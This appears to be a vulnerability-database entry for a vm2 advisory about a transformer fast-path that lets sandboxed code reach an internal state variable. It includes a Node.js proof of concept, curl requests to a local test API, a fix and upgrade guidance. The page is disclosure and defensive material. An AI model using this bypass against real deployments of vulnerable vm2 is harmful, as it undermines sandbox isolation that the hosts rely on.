CVE-2026-44003Medium· 5.3▾ Sunlitvm2's Transformer Fast-Path Bypass Exposes Internal State Variable
▾ Sunlit zone — Low / medium · no exploitation signal
impact 29.2 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
Last analysed / modified upstream
0.2%
vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).
In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.
When the fast-path is taken:
VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL never runswith statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulationhandleException(e), wrapWith(x), import(what)While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.
Library-level PoC (Node.js script — primary):
const { VM } = require("vm2");
const vm = new VM();
// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"
// Control test — blocked when catch keyword is present
try {
vm.run(`
try {
var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
} catch(e) { e.message }
`);
} catch(e) {
console.log(e.message); // "Use of internal vm2 state variable"
}
HTTP demonstration:
# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"
# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
-H "Content-Type: application/json" \
-d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}
Suggested fix:
// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
return {__proto__: null, code, hasAsync: false};
}
vm2 <= 3.10.5Upgrade to a patched release:
vm2 3.11.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-24118Critical· 9.8VM2 Sandbox Breakout Through __lookupGetter__
CVE-2026-26332Critical· 9.8VM2 Has a Sandbox Escape Issue via SuppressedError
CVE-2026-24781Critical· 9.8vm2 is an open source vm/sandbox for Node.js
GHSA-2cm2-m3w5-gp2fMedium· 5.3vm2 has access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`
GHSA-9hxx-m5g2-2q3hCritical· 10.0Duplicate Advisory: vm2 contains a sandbox escape vulnerability
GHSA-4xmw-hh9q-4q7cCritical· 9.0Duplicate Advisory: vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit